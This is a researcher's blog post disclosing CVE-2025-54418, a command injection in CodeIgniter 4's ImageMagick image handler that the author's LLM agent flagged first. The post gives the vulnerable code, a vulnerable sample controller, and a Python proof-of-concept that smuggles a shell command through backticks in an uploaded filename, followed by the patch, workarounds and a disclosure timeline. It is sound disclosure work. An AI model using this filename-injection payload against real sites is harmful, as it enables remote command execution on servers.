Site cover image

Site icon image vicevirus’ Blog

Yo, welcome to my blog! I write tech stuff and play CTFs for fun. (still a noob)

🔎 Simple Command Injection via ImageMagick Handler in CodeIgniter 4 + Magic of Agent? (CVE-2025-54418)

Introduction


A few months ago, I dived deep (again) into agentic LLMs and learned how to build agents. In fact, I had already started exploring how to develop LLM apps last year to automate some of my tasks. I returned to this domain again, when I saw news of companies like Hacktron, XBOW, and HackerAI demonstrating impressive results in using LLMs to find vulnerabilities.

It’s not that I’d never tried building an agentic LLM to find vulnerabilities before but back when I was developing LLM apps, the available models, such as GPT‑4o, weren’t as capable as most of those we have now (for example, OpenAI O3, Gemini 2.5 Pro, and Claude 4 Sonnet). In my opinion, the models available now are quite capable, which is why I decided to dive in again.

Coincidentally, I've started working on this again because 0xMAANVADER.eth and I initially had a small project to test some of our hypothesis about agentic LLMs by creating a CTF-solving agent intended for use at CYDES CTF (though in the end, I forgot to use the agent during the comp lol)

For my testing to test out the capabilities of the new models, this time round I just built a very simple agentic LLM app to just find vulns on any codebase. Just a simple langchain + tools…. nothing super fancy or mindblowing. (so far OpenAI o3 has a very good price to perf ratio in my use case)

To my surprise, it has significantly helped me during code reviews by identifying sinks or quick vulnerabilities in open-source projects. With the agent, my workflow involves running the agent first to discover potential sinks or vuln primitives, manually checking the affected source code, and then exploiting the vuln manually. Although, all these steps can be fully automated and improved further, I still prefer to rely on my own judgment when developing exploits, rather than trusting the agent completely.

And…. yes, this blog post is one of the vulnerability where it was found initially by the agent. Not a mindblowing or super complicated vuln, but still pretty cool imo.

Image in a image block
Output from the agent

The vulnerability


As seen from the picture above, it’s pretty clear that the vulnerability is a classic command injection due to no escaping of the inputs when it is going into exec() function in PHP.

This vulnerability explained here is only exploitable if the filename is controllable by the user. If the filename is not controllable or is fully randomized, then it is not exploitable.

Even if sanitize_filename() is used, it was never meant to block shell escaping attempts.

The first affected code block is the _resize() function which resides in CodeIgniter4/system/Images/Handlers/ImageMagickHandler.php :

public function _resize(bool $maintainRatio = false)
{
    $source = !empty($this->resource)
        ? $this->resource
        : $this->image()->getPathname();

    $destination = $this->getResourcePath();
    $escape = PHP_OS_FAMILY === 'Windows' ? '' : '\\';

    $resizeOption = $maintainRatio
        ? ' -resize ' . ($this->width ?? 0) . 'x' . ($this->height ?? 0)
        : ' -resize ' . ($this->width ?? 0) . 'x' . ($this->height ?? 0) . "{$escape}!";

		// file name goes here
    $action = $resizeOption . ' "' . $source . '" "' . $destination . '"';
		
		// then it goes here
    $this->process($action);

    return $this;
}

As can be seen above, the $source filename is directly concatenated into $actionwhich builds the shell command without escaping or sanitization.

And then, that $action is passed into the process() function below which concatenates the user controllable input and went straight into exec()

    protected function process(string $action, int $quality = 100): array
    {
        if ($action !== '-version') {
            $this->supportedFormatCheck();
        }

        $cmd = $this->config->libraryPath;
        // bit of concat here
        $cmd .= $action === '-version' ? ' ' . $action : ' -quality ' . $quality . ' ' . $action;

        $retval = 1;
        $output = [];
        // exec() might be disabled
        if (function_usable('exec')) {
            // boom straight into exec :)
            @exec($cmd, $output, $retval);
        }

        // Did it work?
        if ($retval > 0) {
            throw ImageException::forImageProcessFailed();
        }

        return $output;
    }

The second affected code is in _text() function which also resides in CodeIgniter4/system/Images/Handlers/ImageMagickHandler.php:

protected function _text(string $text, array $options = [])
{
    $xAxis   = 0;
    // omited for brevity

    // Text
    $cmd .= " -annotate 0 '{$text}'";

    $source      = ! empty($this->resource) ? $this->resource : $this->image()->getPathname();
    $destination = $this->getResourcePath();

    $cmd = " '{$source}' {$cmd} '{$destination}'";

    $this->process($cmd);
}

Here, the $source is yet again concatenated without any escaping or sanitization and went straight into process() which has the exec() function earlier.

Proof of Concept (PoC)


Example vulnerable site

Poc.php

<?php namespace App\Controllers;

use CodeIgniter\Controller;

class Poc extends Controller
{
    public function upload()
    {
        $file = $this->request->getFile('avatar');
        if (! $file || ! $file->isValid()) {
            return $this->response->setStatusCode(400)->setBody('Invalid file');
        }

        $name = service('security')->sanitizeFilename($file->getClientName());
        $file->move(WRITEPATH . 'uploads', $name);

        service('image', 'imagick')
            ->withFile(WRITEPATH . 'uploads/' . $name)
            ->resize(50, 50, true)
            ->save(WRITEPATH . 'uploads/' . $name);

        // return JSON URL
        return $this->response->setJSON([
            'url' => base_url('writable/uploads/' . rawurlencode($name))
        ]);
    }
}

Script to exploit with backticks in the filename:

import requests
from io import BytesIO

BASE_URL = "http://localhost:8080"
TARGET_URL     = "/poc/upload"
COMMAND        = "echo 123456 | tee test.php"
PAYLOAD_FN     = f"any.jpg`{COMMAND}`"

# minimal valid 1×1 JPEG
JPEG_BYTES = (
    b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00'
    b'\xff\xdb\x00C\x00' + b'\x08'*64 +
    b'\xff\xc0\x00\x11\x08\x00\x01\x00\x01\x03\x01"\x00\x02\x11\x01\x03\x11\x01'
    b'\xff\xc4\x00\x14\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    b'\x00\x00\x00\x00\x00\xff\xda\x00\x08\x01\x01\x00\x00?\x00\xd2\xcf \xff\xd9'
)

def main():
    bio = BytesIO(JPEG_BYTES)
    files = {"avatar": (PAYLOAD_FN, bio, "image/jpeg")}
    print(f"[+] Uploading {PAYLOAD_FN!r}")
    print(f"[+] Trying to run {COMMAND!r}")
    r = requests.post(BASE_URL + TARGET_URL, files=files, timeout=30)
    print(f"Visitng `/test.php` and it should show up 123456")
    r = requests.get(BASE_URL + "/test.php", files=files, timeout=30)
    print(r.text)

if __name__ == "__main__":
    main()
Image in a image block
Image in a image block

Recommendation


  • Update to CodeIgniter 4 version 4.6.2
Workarounds (from the developers)
  • Switch to the GD image handler (gd, the default handler), which is not affected by either vulnerability
  • For file upload scenarios: Instead of using user-provided filenames, generate random names to eliminate the attack vector with getRandomName() when using the move() method, or use the store() method, which automatically generates safe filenames
  • For text operations: If you must use ImageMagick with user-controlled text, sanitize the input to only allow safe characters: preg_replace('/[^a-zA-Z0-9\s.,!?-]/', '', $text) and validate/restrict text options

Timeline


  • 10 July 2025 - Found the vulnerability and reported to security@codeigniter.com
  • 16 July 2025 - Acknowledged by the developers (super fast fix from them after acknowledgement)
  • 26 July 2025 - CodeIgniter 4 devs released a patch and requested for CVE.
  • 28 July 2025 - Assigned CVE-2025-54418 by GHSA.